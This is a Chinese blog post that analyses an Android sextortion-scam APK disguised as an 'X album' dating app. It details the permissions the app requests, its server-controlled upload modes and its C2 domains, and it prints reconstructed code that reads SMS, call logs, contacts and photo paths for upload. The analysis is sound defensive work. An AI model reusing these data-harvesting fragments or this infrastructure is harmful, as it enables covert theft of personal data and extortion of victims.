Android裸聊诈骗软件逆向分析

前言

好久没写博客,打算更新一波,刚好冲浪的时候经常看到一些乱起八糟的机器人号,于是好奇去查了查(绝对不是因为我想要裸聊!绝对不是!

联系之后还是经典的话术。

9e2255cb85925abcf9caf9ac9eca8f4c

于是我就拿到了恶意网站的链接进去之后是这个样子,明显就是仿照马斯克的x(话说这么明显的招数真的会有人上钩吗

59ce4890655c4a25a7f0a26d41a8d9df

安装后图标是这样的:

3262574a8df8d467d7168dc063aca62e

这个系统打开之后是这个样子,注意,这是我在完全受控环境中安装测试的,不要自己尝试

0277acaaf91ff78c680f44928bb1c28d

可以看到就是一个界面,点击立刻登陆后会跳出正在连接服务器,但是实际上可没有那么简单

解包分析

入口 Activity 是 DCloud 的 io.dcloud.PandoraEntry,说明它使用 uni-app 打包。继续翻应用配置,只找到三个页面:

1
2
3
pages/index/index
pages/upload-progress/index
pages/home/index

登录页负责索要手机号和 6 位邀请码;进度页会轮流展示“连接服务器”“开启加密通信”“验证用户身份”“匹配用户”“进入房间”;主页则简单得近乎敷衍。

真正应该属于聊天软件的东西一个也没有:没有联系人列表,没有聊天会话,没有消息存储,没有 WebSocket,没有音视频房间,也没有通话实现。

进度页还设计了 90 秒倒计时。倒计时结束后,它不会带用户进入任何房间,只会弹出“暂时没有匹配到合适的用户,请联系客服”一类文案。

到这里,我已经开始怀疑:所谓“匹配用户”,可能只是给后台操作争取时间。

1
2
3
4
5
6
7
8
var isReady = false; var onReadyCallbacks = [];
var isServiceReady = false; var onServiceReadyCallbacks = [];
var __uniConfig = { "pages": ["pages/index/index", "pages/upload-progress/index", "pages/home/index"], "window": { "navigationBarTextStyle": "black", "navigationBarTitleText": "uni-app", "navigationBarBackgroundColor": "#F8F8F8", "backgroundColor": "#F8F8F8" }, "darkmode": false, "nvueCompiler": "uni-app", "nvueStyleCompiler": "uni-app", "renderer": "auto", "splashscreen": { "alwaysShowBeforeRender": true, "autoclose": false }, "appname": "X album", "compilerVersion": "5.24", "entryPagePath": "pages/index/index", "networkTimeout": { "request": 60000, "connectSocket": 60000, "uploadFile": 60000, "downloadFile": 60000 } };
var __uniRoutes = [{ "path": "/pages/index/index", "meta": { "isQuit": true }, "window": { "navigationBarTitleText": "登录", "navigationStyle": "custom" } }, { "path": "/pages/upload-progress/index", "meta": {}, "window": { "navigationBarTitleText": "数据同步中", "navigationStyle": "custom" } }, { "path": "/pages/home/index", "meta": {}, "window": { "navigationBarTitleText": "首页" } }];
__uniConfig.onReady = function (callback) { if (__uniConfig.ready) { callback() } else { onReadyCallbacks.push(callback) } }; Object.defineProperty(__uniConfig, "ready", { get: function () { return isReady }, set: function (val) { isReady = val; if (!isReady) { return } const callbacks = onReadyCallbacks.slice(0); onReadyCallbacks.length = 0; callbacks.forEach(function (callback) { callback() }) } });
__uniConfig.onServiceReady = function (callback) { if (__uniConfig.serviceReady) { callback() } else { onServiceReadyCallbacks.push(callback) } }; Object.defineProperty(__uniConfig, "serviceReady", { get: function () { return isServiceReady }, set: function (val) { isServiceReady = val; if (!isServiceReady) { return } const callbacks = onServiceReadyCallbacks.slice(0); onServiceReadyCallbacks.length = 0; callbacks.forEach(function (callback) { callback() }) } });
service.register("uni-app-config", { create(a, b, c) { if (!__uniConfig.viewport) { var d = b.weex.config.env.scale, e = b.weex.config.env.deviceWidth, f = Math.ceil(e / d); Object.assign(__uniConfig, { viewport: f, defaultFontSize: Math.round(f / 20) }) } return { instance: { __uniConfig: __uniConfig, __uniRoutes: __uniRoutes, global: void 0, window: void 0, document: void 0, frames: void 0, self: void 0, location: void 0, navigator: void 0, localStorage: void 0, history: void 0, Caches: void 0, screen: void 0, alert: void 0, confirm: void 0, prompt: void 0, fetch: void 0, XMLHttpRequest: void 0, WebSocket: void 0, webkit: void 0, print: void 0 } } } });

Manifest 里出现了与“相册交友”完全不相称的权限:

1
2
3
4
5
6
7
8
9
10
READ_CONTACTS
READ_SMS
READ_CALL_LOG
READ_PHONE_STATE
ACCESS_FINE_LOCATION
READ_EXTERNAL_STORAGE
READ_MEDIA_IMAGES
QUERY_ALL_PACKAGES
CAMERA
REQUEST_INSTALL_PACKAGES

app-service.js 被 webpack 压缩成了少数几行长文本,但它没有加密关键字符串。搜索 URL,很快就能找到硬编码的服务器:

1
baseUrl = "https://api.xalbum822.fit";

紧挨着它的,还有两个写死在客户端里的“签名密钥”:

1
2
df_client_salt_2024
df_secret_key_2024_postdata

继续向下追,所有接口逐渐拼成了一张完整的数据外传地图:

1
2
3
4
5
6
7
/api/index/sys    远程配置
/api/index/login 身份、设备和定位
/api/index/contact 通讯录
/api/index/message 短信
/api/index/call 通话记录
/api/index/app 安装应用列表
/api/common/upload 相册图片

服务器决定它什么时候偷

应用启动后,会先调用 /api/index/sys。这个接口不仅返回界面名称、Logo、背景图和诱导文案,还能决定客户端需要申请哪些权限,以及采用哪一种上传模式。

代码里给两种模式写了非常直白的中文日志:

1
2
mode=0(边授权边上传)
mode=1(登录后统一上传)

mode=0 尤其危险。用户刚刚在权限弹窗里点击“允许”,程序就会在短暂延迟后读取并上传对应数据。用户可能还没有输入手机号,更没有进入所谓房间,但通讯录、短信或相册已经开始离开手机。

mode=1 则更像传统流程:先收集权限,等“登录成功”后一次性上传。

所以简单来说,基本流程就是非常朴实无华而且没有任何弯弯绕的打直球

下载安装 -> 申请权限 -> 上传信息 (大惊,这真的能骗到人吗

通讯录的提取逻辑

程序刚启动的时候会调用:

1
plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE)

它取出联系人姓名和第一个电话号码,去掉空格后按号码去重,再分批发往 /api/index/contact

更值得注意的是失败分支:如果通讯录为空,整个流程会立即结束,并返回“通讯录为空”。界面随后可以使用服务端下发的文案,把真实原因伪装成:

1
APP 不兼容,请更换手机

可以看出来,这个诈骗软件的最主要逻辑就是拿到通讯录,因为只有拿到通讯录他才可以进行勒索操作。

短信与通话记录的提取逻辑

短信读取没有藏在复杂的 Native 代码里,而是通过 DCloud 的 Android 桥接直接访问系统 ContentProvider。

压缩代码还原后的关键逻辑大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
const uri = Uri.parse("content://sms/");
const cursor = resolver.query(uri, null, null, null, "date DESC");

const maximum = Math.min(cursor.getCount(), 50);
for (let i = 0; i < maximum; i++) {
result.push({
address: cursor.getString(cursor.getColumnIndex("address")),
body: cursor.getString(cursor.getColumnIndex("body")),
type: cursor.getInt(cursor.getColumnIndex("type")),
time: cursor.getLong(cursor.getColumnIndex("date"))
});
}

它读取最近最多 50 条短信,包括对方号码、短信正文、收发类型和时间,然后发送到 /api/index/message

通话记录采用类似方式,通过 CallLog.Calls.CONTENT_URI 读取号码、备注名、呼入呼出类型、时间和通话时长。默认读取上限是 99,999,几乎等同于“能读多少就读多少”。数据最后进入 /api/index/call

提取相册信息

JavaScript 中出现了一个名为 sn-photos 的原生插件。APK 内的注册文件给出了它对应的 Java 类:

1
2
3
4
{
"name": "sn-photos",
"class": "com.itfenbao.snplugin.photos.SnPhotosModule"
}

这一次,调用链可以一路追进 Smali。

SnPhotosModule.readPhotos() 带有 @UniJSMethod 注解,意味着 JavaScript 可以直接调用它。方法内部创建 PhotoLoader,并把参数设为 0——代表读取图片:

1
2
3
4
5
6
7
.method public readPhotos(Lio/dcloud/feature/uniapp/bridge/UniJSCallback;)V
.annotation runtime Lio/dcloud/feature/uniapp/annotation/UniJSMethod;
.end annotation

new-instance v1, Lcom/itfenbao/snplugin/photos/PhotoLoader;
const/4 v2, 0x0
invoke-direct {v1, v0, v2}, Lcom/itfenbao/snplugin/photos/PhotoLoader;-><init>(Landroidx/fragment/app/FragmentActivity;I)V

来到 PhotoLoader.smali,图片来源写得更加直接:

1
sget-object v0, Landroid/provider/MediaStore$Images$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;

Loader 会按 date_added DESC 查询 MediaStore,在 Cursor 中逐条读取 _data 路径:

1
2
3
4
const-string v0, "_data"
invoke-interface {p2, v0}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
invoke-interface {p2, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
invoke-interface {p1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z

最后,这批路径以 paths 字段回传给 JavaScript。JavaScript 最多取前 100 张,通过 multipart 请求逐张上传到 /api/common/upload

这条证据链非常完整:

1
2
3
4
5
JavaScript 调用 sn-photos
-> Smali/Java 查询 MediaStore
-> 返回图片路径列表
-> JavaScript 截取前 100 项
-> 上传至 C2

后台分析

静态分析结束后,我没有让样本与服务器通信,而是通过本地代理 127.0.0.1:7897,对 C2 做了简单的分析

Cloudflare DNS-over-HTTPS 返回:

1
api.xalbum822.fit -> 43.135.50.143

TLS 证书的主体却不是 api.xalbum822.fit,而是:

1
CN = api2.imim530.site

证书 SAN 同时包含三个域名:

1
2
3
api.slsl810.site
api.xalbum822.fit
api2.imim530.site

这说明它们至少共享同一套证书部署或基础设施,大概率都是诈骗者的资产。

几个常见管理入口也全部返回 404:

1
2
3
4
5
6
/admin
/admin/login
/backend
/manage
/index.php/admin
/api/admin/login

这意味着我没有在当前 API 域名上找到公开后台登录页。管理端可能位于独立域名、隐藏路径、内网,或者只允许固定 IP 访问。

证书 SAN 里的三个域名只是冰山一角。把 api.xalbum822.fitapi2.imim530.site 当作种子,在证书透明度日志(certspotter)里继续迭代,很快串出了更多兄弟域名:

1
2
3
4
5
api.xalbum822.fit        api.imim530.site        api2.imim530.site
api.slsl810.site api.dxdx26720.site api.xhtzx0725.site
api.msms702.club xapi44.dx202626.site xapi49.dx202626.site
api.grok519.site api.grok610.fit api.grok624.fit
api.slsl619.fit

这些大概率都是后台攻击者的资产。

之后对这些域名分析后,可以看到这样的另一个网站:

161717847fdfd427c61b0196e22756c9

不过这个也大概率是恶意的软件下载网站。

可以看到这些非法网站的后台隐藏的还是很好的,继续分析难度很大,因为个人精力问题,所以分析就到此结束了,如果哪位大佬想要继续分析的话可以接力呀!

总结

这个样本并没有复杂的技术实现,本质上就是一个披着“社交匹配”外衣的数据窃取型诈骗 APK。它通过诱导用户授予通讯录、短信、通话记录和相册等敏感权限,将数据上传到远程服务器,再为后续诈骗或勒索提供筹码。这个apk的代码实现相当直接,也没有过于复杂的诱导逻辑(连个美女图片和美女视频都没有,好生气!),主要是通过广撒网的方式去进行诈骗勒索,但这也恰恰说明了这类诈骗真正依赖的并不是高深技术,而是社会工程和用户对权限风险的忽视。